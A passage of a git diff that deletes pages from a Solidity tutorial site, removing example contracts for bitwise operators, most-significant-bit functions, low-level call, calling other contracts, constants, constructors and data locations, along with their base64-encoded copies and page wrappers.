-    // x     = 1100 = 8 + 4 + 0 + 0 = 12
-    // y     = 1001 = 8 + 0 + 0 + 1 = 9
-    // x | y = 1101 = 8 + 4 + 0 + 1 = 13
-    function or(uint x, uint y) external pure returns (uint) {
-        return x | y;
-    }
-
-    // x     = 1100 = 8 + 4 + 0 + 0 = 12
-    // y     = 0101 = 0 + 4 + 0 + 1 = 5
-    // x ^ y = 1001 = 8 + 0 + 0 + 1 = 9
-    function xor(uint x, uint y) external pure returns (uint) {
-        return x ^ y;
-    }
-
-    // x  = 00001100 =   0 +  0 +  0 +  0 + 8 + 4 + 0 + 0 = 12
-    // ~x = 11110011 = 128 + 64 + 32 + 16 + 0 + 0 + 2 + 1 = 243
-    function not(uint8 x) external pure returns (uint8) {
-        return ~x;
-    }
-
-    // 1 << 0 = 0001 --> 0001 = 1
-    // 1 << 1 = 0001 --> 0010 = 2
-    // 1 << 2 = 0001 --> 0100 = 4
-    // 1 << 3 = 0001 --> 1000 = 8
-    // 3 << 2 = 0011 --> 1100 = 12
-    function shiftLeft(uint x, uint bits) external pure returns (uint) {
-        return x << bits;
-    }
-
-    // 8  >> 0 = 1000 --> 1000 = 8
-    // 8  >> 1 = 1000 --> 0100 = 4
-    // 8  >> 2 = 1000 --> 0010 = 2
-    // 8  >> 3 = 1000 --> 0001 = 1
-    // 8  >> 4 = 1000 --> 0000 = 0
-    // 12 >> 1 = 1100 --> 0110 = 6
-    function shiftRight(uint x, uint bits) external pure returns (uint) {
-        return x >> bits;
-    }
-
-    // Get last n bits from x
-    function getLastNBits(uint x, uint n) external pure returns (uint) {
-        // Example, last 3 bits
-        // x        = 1101 = 13
-        // mask     = 0111 = 7
-        // x & mask = 0101 = 5
-        uint mask = (1 << n) - 1;
-        return x & mask;
-    }
-
-    // Get last n bits from x using mod operator
-    function getLastNBitsUsingMod(uint x, uint n) external pure returns (uint) {
-        // 1 << n = 2 ** n
-        return x % (1 << n);
-    }
-
-    // Get position of most significant bit
-    // x = 1100 = 10, most significant bit = 1000, so this function will return 3
-    function mostSignificantBit(uint x) external pure returns (uint) {
-        uint i = 0;
-        while ((x >>= 1) > 0) {
-            ++i;
-        }
-        return i;
-    }
-
-    // Get first n bits from x
-    // len = length of bits in x = position of most significant bit of x, + 1
-    function getFirstNBits(uint x, uint n, uint len) external pure returns (uint) {
-        // Example
-        // x        = 1110 = 14, n = 2, len = 4
-        // mask     = 1100 = 12
-        // x & mask = 1100 = 12
-        uint mask = ((1 << n) - 1) << (len - n);
-        return x & mask;
-    }
-}
-

Most significant bit

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract MostSignificantBitFunction {
-    // Find most significant bit using binary search
-    function mostSignificantBit(uint x) external pure returns (uint msb) {
-        // x >= 2 ** 128
-        if (x >= 0x100000000000000000000000000000000) {
-            x >>= 128;
-            msb += 128;
-        }
-        // x >= 2 ** 64
-        if (x >= 0x10000000000000000) {
-            x >>= 64;
-            msb += 64;
-        }
-        // x >= 2 ** 32
-        if (x >= 0x100000000) {
-            x >>= 32;
-            msb += 32;
-        }
-        // x >= 2 ** 16
-        if (x >= 0x10000) {
-            x >>= 16;
-            msb += 16;
-        }
-        // x >= 2 ** 8
-        if (x >= 0x100) {
-            x >>= 8;
-            msb += 8;
-        }
-        // x >= 2 ** 4
-        if (x >= 0x10) {
-            x >>= 4;
-            msb += 4;
-        }
-        // x >= 2 ** 2
-        if (x >= 0x4) {
-            x >>= 2;
-            msb += 2;
-        }
-        // x >= 2 ** 1
-        if (x >= 0x2) msb += 1;
-    }
-}
-

Most significant bit in assembly

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract MostSignificantBitAssembly {
-    function mostSignificantBit(uint x) external pure returns (uint msb) {
-        assembly {
-            let f := shl(7, gt(x, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
-            x := shr(f, x)
-            // or can be replaced with add
-            msb := or(msb, f)
-        }
-        assembly {
-            let f := shl(6, gt(x, 0xFFFFFFFFFFFFFFFF))
-            x := shr(f, x)
-            msb := or(msb, f)
-        }
-        assembly {
-            let f := shl(5, gt(x, 0xFFFFFFFF))
-            x := shr(f, x)
-            msb := or(msb, f)
-        }
-        assembly {
-            let f := shl(4, gt(x, 0xFFFF))
-            x := shr(f, x)
-            msb := or(msb, f)
-        }
-        assembly {
-            let f := shl(3, gt(x, 0xFF))
-            x := shr(f, x)
-            msb := or(msb, f)
-        }
-        assembly {
-            let f := shl(2, gt(x, 0xF))
-            x := shr(f, x)
-            msb := or(msb, f)
-        }
-        assembly {
-            let f := shl(1, gt(x, 0x3))
-            x := shr(f, x)
-            msb := or(msb, f)
-        }
-        assembly {
-            let f := gt(x, 0x1)
-            msb := or(msb, f)
-        }
-    }
-}
-
` - -export default html diff --git a/src/pages/bitwise/index.md b/src/pages/bitwise/index.md deleted file mode 100644 index b6d0c3294..000000000 --- a/src/pages/bitwise/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Bitwise Operators -version: 0.8.20 -description: Learn about bitwise operators in Solidity -keywords: [bitwise, most, significant, bit, assembly] ---- - -```solidity -{{{Bitwise}}} -``` - -### Most significant bit - -```solidity -{{{MostSignificantBitFunction}}} -``` - -### Most significant bit in assembly - -```solidity -{{{MostSignificantBitAssembly}}} -``` diff --git a/src/pages/bitwise/index.tsx b/src/pages/bitwise/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/bitwise/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/call/Call.sol b/src/pages/call/Call.sol deleted file mode 100644 index 4006850b7..000000000 --- a/src/pages/call/Call.sol +++ /dev/null @@ -1,40 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Receiver { - event Received(address caller, uint amount, string message); - - fallback() external payable { - emit Received(msg.sender, msg.value, "Fallback was called"); - } - - function foo(string memory _message, uint _x) public payable returns (uint) { - emit Received(msg.sender, msg.value, _message); - - return _x + 1; - } -} - -contract Caller { - event Response(bool success, bytes data); - - // Let's imagine that contract Caller does not have the source code for the - // contract Receiver, but we do know the address of contract Receiver and the function to call. - function testCallFoo(address payable _addr) public payable { - // You can send ether and specify a custom gas amount - (bool success, bytes memory data) = _addr.call{value: msg.value, gas: 5000}( - abi.encodeWithSignature("foo(string,uint256)", "call foo", 123) - ); - - emit Response(success, data); - } - - // Calling a function that does not exist triggers the fallback function. - function testCallDoesNotExist(address payable _addr) public payable { - (bool success, bytes memory data) = _addr.call{value: msg.value}( - abi.encodeWithSignature("doesNotExist()") - ); - - emit Response(success, data); - } -} diff --git a/src/pages/call/index.html.ts b/src/pages/call/index.html.ts deleted file mode 100644 index 2a4347d24..000000000 --- a/src/pages/call/index.html.ts +++ /dev/null @@ -1,67 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Call" -export const description = - "In Solidity call is a low level function to interact with other contracts" - -export const keywords = ["contract", "contracts", "call", "function", "functions"] - -export const codes = [ - { - fileName: "Call.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFJlY2VpdmVyIHsKICAgIGV2ZW50IFJlY2VpdmVkKGFkZHJlc3MgY2FsbGVyLCB1aW50IGFtb3VudCwgc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgZW1pdCBSZWNlaXZlZChtc2cuc2VuZGVyLCBtc2cudmFsdWUsICJGYWxsYmFjayB3YXMgY2FsbGVkIik7CiAgICB9CgogICAgZnVuY3Rpb24gZm9vKHN0cmluZyBtZW1vcnkgX21lc3NhZ2UsIHVpbnQgX3gpIHB1YmxpYyBwYXlhYmxlIHJldHVybnMgKHVpbnQpIHsKICAgICAgICBlbWl0IFJlY2VpdmVkKG1zZy5zZW5kZXIsIG1zZy52YWx1ZSwgX21lc3NhZ2UpOwoKICAgICAgICByZXR1cm4gX3ggKyAxOwogICAgfQp9Cgpjb250cmFjdCBDYWxsZXIgewogICAgZXZlbnQgUmVzcG9uc2UoYm9vbCBzdWNjZXNzLCBieXRlcyBkYXRhKTsKCiAgICAvLyBMZXQncyBpbWFnaW5lIHRoYXQgY29udHJhY3QgQ2FsbGVyIGRvZXMgbm90IGhhdmUgdGhlIHNvdXJjZSBjb2RlIGZvciB0aGUKICAgIC8vIGNvbnRyYWN0IFJlY2VpdmVyLCBidXQgd2UgZG8ga25vdyB0aGUgYWRkcmVzcyBvZiBjb250cmFjdCBSZWNlaXZlciBhbmQgdGhlIGZ1bmN0aW9uIHRvIGNhbGwuCiAgICBmdW5jdGlvbiB0ZXN0Q2FsbEZvbyhhZGRyZXNzIHBheWFibGUgX2FkZHIpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBZb3UgY2FuIHNlbmQgZXRoZXIgYW5kIHNwZWNpZnkgYSBjdXN0b20gZ2FzIGFtb3VudAogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF9hZGRyLmNhbGx7dmFsdWU6IG1zZy52YWx1ZSwgZ2FzOiA1MDAwfSgKICAgICAgICAgICAgYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImZvbyhzdHJpbmcsdWludDI1NikiLCAiY2FsbCBmb28iLCAxMjMpCiAgICAgICAgKTsKCiAgICAgICAgZW1pdCBSZXNwb25zZShzdWNjZXNzLCBkYXRhKTsKICAgIH0KCiAgICAvLyBDYWxsaW5nIGEgZnVuY3Rpb24gdGhhdCBkb2VzIG5vdCBleGlzdCB0cmlnZ2VycyB0aGUgZmFsbGJhY2sgZnVuY3Rpb24uCiAgICBmdW5jdGlvbiB0ZXN0Q2FsbERvZXNOb3RFeGlzdChhZGRyZXNzIHBheWFibGUgX2FkZHIpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgZGF0YSkgPSBfYWRkci5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KAogICAgICAgICAgICBhYmkuZW5jb2RlV2l0aFNpZ25hdHVyZSgiZG9lc05vdEV4aXN0KCkiKQogICAgICAgICk7CgogICAgICAgIGVtaXQgUmVzcG9uc2Uoc3VjY2VzcywgZGF0YSk7CiAgICB9Cn0K", - }, -] - -const html = `

call is a low level function to interact with other contracts.

-

This is the recommended method to use when you're just sending Ether via calling the fallback function.

-

However it is not the recommend way to call existing functions.

-

Few reasons why low-level call is not recommended

-
    -
  • Reverts are not bubbled up
  • -
  • Type checks are bypassed
  • -
  • Function existence checks are omitted
  • -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Receiver {
-    event Received(address caller, uint amount, string message);
-
-    fallback() external payable {
-        emit Received(msg.sender, msg.value, "Fallback was called");
-    }
-
-    function foo(string memory _message, uint _x) public payable returns (uint) {
-        emit Received(msg.sender, msg.value, _message);
-
-        return _x + 1;
-    }
-}
-
-contract Caller {
-    event Response(bool success, bytes data);
-
-    // Let's imagine that contract Caller does not have the source code for the
-    // contract Receiver, but we do know the address of contract Receiver and the function to call.
-    function testCallFoo(address payable _addr) public payable {
-        // You can send ether and specify a custom gas amount
-        (bool success, bytes memory data) = _addr.call{value: msg.value, gas: 5000}(
-            abi.encodeWithSignature("foo(string,uint256)", "call foo", 123)
-        );
-
-        emit Response(success, data);
-    }
-
-    // Calling a function that does not exist triggers the fallback function.
-    function testCallDoesNotExist(address payable _addr) public payable {
-        (bool success, bytes memory data) = _addr.call{value: msg.value}(
-            abi.encodeWithSignature("doesNotExist()")
-        );
-
-        emit Response(success, data);
-    }
-}
-
` - -export default html diff --git a/src/pages/call/index.md b/src/pages/call/index.md deleted file mode 100644 index 6079f3d28..000000000 --- a/src/pages/call/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Call -version: 0.8.20 -description: In Solidity call is a low level function to interact with other contracts -keywords: [contract, contracts, call, function, functions] ---- - -`call` is a low level function to interact with other contracts. - -This is the recommended method to use when you're just sending Ether via calling the `fallback` function. - -However it is not the recommend way to call existing functions. - -### Few reasons why low-level call is not recommended - -- Reverts are not bubbled up -- Type checks are bypassed -- Function existence checks are omitted - -```solidity -{{{Call}}} -``` diff --git a/src/pages/call/index.tsx b/src/pages/call/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/call/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/calling-contract/CallingContract.sol b/src/pages/calling-contract/CallingContract.sol deleted file mode 100644 index 9de27a2c5..000000000 --- a/src/pages/calling-contract/CallingContract.sol +++ /dev/null @@ -1,34 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Callee { - uint public x; - uint public value; - - function setX(uint _x) public returns (uint) { - x = _x; - return x; - } - - function setXandSendEther(uint _x) public payable returns (uint, uint) { - x = _x; - value = msg.value; - - return (x, value); - } -} - -contract Caller { - function setX(Callee _callee, uint _x) public { - uint x = _callee.setX(_x); - } - - function setXFromAddress(address _addr, uint _x) public { - Callee callee = Callee(_addr); - callee.setX(_x); - } - - function setXandSendEther(Callee _callee, uint _x) public payable { - (uint x, uint value) = _callee.setXandSendEther{value: msg.value}(_x); - } -} diff --git a/src/pages/calling-contract/index.html.ts b/src/pages/calling-contract/index.html.ts deleted file mode 100644 index 87559d5cd..000000000 --- a/src/pages/calling-contract/index.html.ts +++ /dev/null @@ -1,64 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Calling Other Contract" -export const description = - "In Solidity, contract can call other contracts in several ways" - -export const keywords = [ - "calling", - "other", - "contract", - "contracts", - "call", - "function", - "functions", -] - -export const codes = [ - { - fileName: "CallingContract.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENhbGxlZSB7CiAgICB1aW50IHB1YmxpYyB4OwogICAgdWludCBwdWJsaWMgdmFsdWU7CgogICAgZnVuY3Rpb24gc2V0WCh1aW50IF94KSBwdWJsaWMgcmV0dXJucyAodWludCkgewogICAgICAgIHggPSBfeDsKICAgICAgICByZXR1cm4geDsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYYW5kU2VuZEV0aGVyKHVpbnQgX3gpIHB1YmxpYyBwYXlhYmxlIHJldHVybnMgKHVpbnQsIHVpbnQpIHsKICAgICAgICB4ID0gX3g7CiAgICAgICAgdmFsdWUgPSBtc2cudmFsdWU7CgogICAgICAgIHJldHVybiAoeCwgdmFsdWUpOwogICAgfQp9Cgpjb250cmFjdCBDYWxsZXIgewogICAgZnVuY3Rpb24gc2V0WChDYWxsZWUgX2NhbGxlZSwgdWludCBfeCkgcHVibGljIHsKICAgICAgICB1aW50IHggPSBfY2FsbGVlLnNldFgoX3gpOwogICAgfQoKICAgIGZ1bmN0aW9uIHNldFhGcm9tQWRkcmVzcyhhZGRyZXNzIF9hZGRyLCB1aW50IF94KSBwdWJsaWMgewogICAgICAgIENhbGxlZSBjYWxsZWUgPSBDYWxsZWUoX2FkZHIpOwogICAgICAgIGNhbGxlZS5zZXRYKF94KTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYYW5kU2VuZEV0aGVyKENhbGxlZSBfY2FsbGVlLCB1aW50IF94KSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgKHVpbnQgeCwgdWludCB2YWx1ZSkgPSBfY2FsbGVlLnNldFhhbmRTZW5kRXRoZXJ7dmFsdWU6IG1zZy52YWx1ZX0oX3gpOwogICAgfQp9Cg==", - }, -] - -const html = `

Contract can call other contracts in 2 ways.

-

The easiest way to is to just call it, like A.foo(x, y, z).

-

Another way to call other contracts is to use the low-level call.

-

This method is not recommended.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Callee {
-    uint public x;
-    uint public value;
-
-    function setX(uint _x) public returns (uint) {
-        x = _x;
-        return x;
-    }
-
-    function setXandSendEther(uint _x) public payable returns (uint, uint) {
-        x = _x;
-        value = msg.value;
-
-        return (x, value);
-    }
-}
-
-contract Caller {
-    function setX(Callee _callee, uint _x) public {
-        uint x = _callee.setX(_x);
-    }
-
-    function setXFromAddress(address _addr, uint _x) public {
-        Callee callee = Callee(_addr);
-        callee.setX(_x);
-    }
-
-    function setXandSendEther(Callee _callee, uint _x) public payable {
-        (uint x, uint value) = _callee.setXandSendEther{value: msg.value}(_x);
-    }
-}
-
` - -export default html diff --git a/src/pages/calling-contract/index.md b/src/pages/calling-contract/index.md deleted file mode 100644 index d67d5787e..000000000 --- a/src/pages/calling-contract/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Calling Other Contract -version: 0.8.20 -description: In Solidity, contract can call other contracts in several ways -keywords: [calling, other, contract, contracts, call, function, functions] ---- - -Contract can call other contracts in 2 ways. - -The easiest way to is to just call it, like `A.foo(x, y, z)`. - -Another way to call other contracts is to use the low-level `call`. - -This method is not recommended. - -```solidity -{{{CallingContract}}} -``` diff --git a/src/pages/calling-contract/index.tsx b/src/pages/calling-contract/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/calling-contract/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/constants/Constants.sol b/src/pages/constants/Constants.sol deleted file mode 100644 index 608ea4433..000000000 --- a/src/pages/constants/Constants.sol +++ /dev/null @@ -1,8 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Constants { - // coding convention to uppercase constant variables - address public constant MY_ADDRESS = 0x777788889999AaAAbBbbCcccddDdeeeEfFFfCcCc; - uint public constant MY_UINT = 123; -} diff --git a/src/pages/constants/index.html.ts b/src/pages/constants/index.html.ts deleted file mode 100644 index 12c36416e..000000000 --- a/src/pages/constants/index.html.ts +++ /dev/null @@ -1,27 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Constants" -export const description = "Constant variables" - -export const keywords = ["constant", "constants", "data", "variable", "variables"] - -export const codes = [ - { - fileName: "Constants.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENvbnN0YW50cyB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBjb25zdGFudCBNWV9BRERSRVNTID0gMHg3Nzc3ODg4ODk5OTlBYUFBYkJiYkNjY2NkZERkZWVlRWZGRmZDY0NjOwogICAgdWludCBwdWJsaWMgY29uc3RhbnQgTVlfVUlOVCA9IDEyMzsKfQo=", - }, -] - -const html = `

Constants are variables that cannot be modified.

-

Their value is hard coded and using constants can save gas cost.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Constants {
-    // coding convention to uppercase constant variables
-    address public constant MY_ADDRESS = 0x777788889999AaAAbBbbCcccddDdeeeEfFFfCcCc;
-    uint public constant MY_UINT = 123;
-}
-
` - -export default html diff --git a/src/pages/constants/index.md b/src/pages/constants/index.md deleted file mode 100644 index 6c526573c..000000000 --- a/src/pages/constants/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Constants -version: 0.8.20 -description: Constant variables -keywords: [constant, constants, data, variable, variables] ---- - -Constants are variables that cannot be modified. - -Their value is hard coded and using constants can save gas cost. - -```solidity -{{{Constants}}} -``` diff --git a/src/pages/constants/index.tsx b/src/pages/constants/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/constants/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/constructor/Constructor.sol b/src/pages/constructor/Constructor.sol deleted file mode 100644 index 13fc9f0cd..000000000 --- a/src/pages/constructor/Constructor.sol +++ /dev/null @@ -1,53 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -// Base contract X -contract X { - string public name; - - constructor(string memory _name) { - name = _name; - } -} - -// Base contract Y -contract Y { - string public text; - - constructor(string memory _text) { - text = _text; - } -} - -// There are 2 ways to initialize parent contract with parameters. - -// Pass the parameters here in the inheritance list. -contract B is X("Input to X"), Y("Input to Y") { - -} - -contract C is X, Y { - // Pass the parameters here in the constructor, - // similar to function modifiers. - constructor(string memory _name, string memory _text) X(_name) Y(_text) {} -} - -// Parent constructors are always called in the order of inheritance -// regardless of the order of parent contracts listed in the -// constructor of the child contract. - -// Order of constructors called: -// 1. X -// 2. Y -// 3. D -contract D is X, Y { - constructor() X("X was called") Y("Y was called") {} -} - -// Order of constructors called: -// 1. X -// 2. Y -// 3. E -contract E is X, Y { - constructor() Y("Y was called") X("X was called") {} -} diff --git a/src/pages/constructor/index.html.ts b/src/pages/constructor/index.html.ts deleted file mode 100644 index b98240345..000000000 --- a/src/pages/constructor/index.html.ts +++ /dev/null @@ -1,73 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Constructor" -export const description = - "Learn how to initialize smart contracts in Solidity using a constructor" - -export const keywords = ["constructor", "constructors", "contract", "inheritance"] - -export const codes = [ - { - fileName: "Constructor.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIEJhc2UgY29udHJhY3QgWApjb250cmFjdCBYIHsKICAgIHN0cmluZyBwdWJsaWMgbmFtZTsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lKSB7CiAgICAgICAgbmFtZSA9IF9uYW1lOwogICAgfQp9CgovLyBCYXNlIGNvbnRyYWN0IFkKY29udHJhY3QgWSB7CiAgICBzdHJpbmcgcHVibGljIHRleHQ7CgogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfdGV4dCkgewogICAgICAgIHRleHQgPSBfdGV4dDsKICAgIH0KfQoKLy8gVGhlcmUgYXJlIDIgd2F5cyB0byBpbml0aWFsaXplIHBhcmVudCBjb250cmFjdCB3aXRoIHBhcmFtZXRlcnMuCgovLyBQYXNzIHRoZSBwYXJhbWV0ZXJzIGhlcmUgaW4gdGhlIGluaGVyaXRhbmNlIGxpc3QuCmNvbnRyYWN0IEIgaXMgWCgiSW5wdXQgdG8gWCIpLCBZKCJJbnB1dCB0byBZIikgewoKfQoKY29udHJhY3QgQyBpcyBYLCBZIHsKICAgIC8vIFBhc3MgdGhlIHBhcmFtZXRlcnMgaGVyZSBpbiB0aGUgY29uc3RydWN0b3IsCiAgICAvLyBzaW1pbGFyIHRvIGZ1bmN0aW9uIG1vZGlmaWVycy4KICAgIGNvbnN0cnVjdG9yKHN0cmluZyBtZW1vcnkgX25hbWUsIHN0cmluZyBtZW1vcnkgX3RleHQpIFgoX25hbWUpIFkoX3RleHQpIHt9Cn0KCi8vIFBhcmVudCBjb25zdHJ1Y3RvcnMgYXJlIGFsd2F5cyBjYWxsZWQgaW4gdGhlIG9yZGVyIG9mIGluaGVyaXRhbmNlCi8vIHJlZ2FyZGxlc3Mgb2YgdGhlIG9yZGVyIG9mIHBhcmVudCBjb250cmFjdHMgbGlzdGVkIGluIHRoZQovLyBjb25zdHJ1Y3RvciBvZiB0aGUgY2hpbGQgY29udHJhY3QuCgovLyBPcmRlciBvZiBjb25zdHJ1Y3RvcnMgY2FsbGVkOgovLyAxLiBYCi8vIDIuIFkKLy8gMy4gRApjb250cmFjdCBEIGlzIFgsIFkgewogICAgY29uc3RydWN0b3IoKSBYKCJYIHdhcyBjYWxsZWQiKSBZKCJZIHdhcyBjYWxsZWQiKSB7fQp9CgovLyBPcmRlciBvZiBjb25zdHJ1Y3RvcnMgY2FsbGVkOgovLyAxLiBYCi8vIDIuIFkKLy8gMy4gRQpjb250cmFjdCBFIGlzIFgsIFkgewogICAgY29uc3RydWN0b3IoKSBZKCJZIHdhcyBjYWxsZWQiKSBYKCJYIHdhcyBjYWxsZWQiKSB7fQp9Cg==", - }, -] - -const html = `

A constructor is an optional function that is executed upon contract creation.

-

Here are examples of how to pass arguments to constructors.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-// Base contract X
-contract X {
-    string public name;
-
-    constructor(string memory _name) {
-        name = _name;
-    }
-}
-
-// Base contract Y
-contract Y {
-    string public text;
-
-    constructor(string memory _text) {
-        text = _text;
-    }
-}
-
-// There are 2 ways to initialize parent contract with parameters.
-
-// Pass the parameters here in the inheritance list.
-contract B is X("Input to X"), Y("Input to Y") {
-
-}
-
-contract C is X, Y {
-    // Pass the parameters here in the constructor,
-    // similar to function modifiers.
-    constructor(string memory _name, string memory _text) X(_name) Y(_text) {}
-}
-
-// Parent constructors are always called in the order of inheritance
-// regardless of the order of parent contracts listed in the
-// constructor of the child contract.
-
-// Order of constructors called:
-// 1. X
-// 2. Y
-// 3. D
-contract D is X, Y {
-    constructor() X("X was called") Y("Y was called") {}
-}
-
-// Order of constructors called:
-// 1. X
-// 2. Y
-// 3. E
-contract E is X, Y {
-    constructor() Y("Y was called") X("X was called") {}
-}
-
` - -export default html diff --git a/src/pages/constructor/index.md b/src/pages/constructor/index.md deleted file mode 100644 index 53f4b0e16..000000000 --- a/src/pages/constructor/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Constructor -version: 0.8.20 -description: Learn how to initialize smart contracts in Solidity using a constructor -keywords: [constructor, constructors, contract, inheritance] ---- - -A `constructor` is an optional function that is executed upon contract creation. - -Here are examples of how to pass arguments to `constructors`. - -```solidity -{{{Constructor}}} -``` diff --git a/src/pages/constructor/index.tsx b/src/pages/constructor/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/constructor/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/data-locations/DataLocations.sol b/src/pages/data-locations/DataLocations.sol deleted file mode 100644 index 21dd8a736..000000000 --- a/src/pages/data-locations/DataLocations.sol +++ /dev/null @@ -1,38 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract DataLocations { - uint[] public arr; - mapping(uint => address) map; - struct MyStruct { - uint foo; - } - mapping(uint => MyStruct) myStructs; - - function f() public { - // call _f with state variables - _f(arr, map, myStructs[1]); - - // get a struct from a mapping - MyStruct storage myStruct = myStructs[1]; - // create a struct in memory - MyStruct memory myMemStruct = MyStruct(0); - } - - function _f( - uint[] storage _arr, - mapping(uint => address) storage _map, - MyStruct storage _myStruct - ) internal { - // do something with storage variables - } - - // You can return memory variables - function g(uint[] memory _arr) public returns (uint[] memory) { - // do something with memory array - } - - function h(uint[] calldata _arr) external { - // do something with calldata array - } -} diff --git a/src/pages/data-locations/index.html.ts b/src/pages/data-locations/index.html.ts deleted file mode 100644 index 0feca7cd7..000000000 --- a/src/pages/data-locations/index.html.ts +++ /dev/null @@ -1,69 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Data Locations - Storage, Memory and Calldata" -export const description = "Data locations - storage, memory and calldata" - -export const keywords = [ - "data", - "location", - "locations", - "storage", - "memory", - "calldata", -] - -export const codes = [ - { - fileName: "DataLocations.sol", - code: 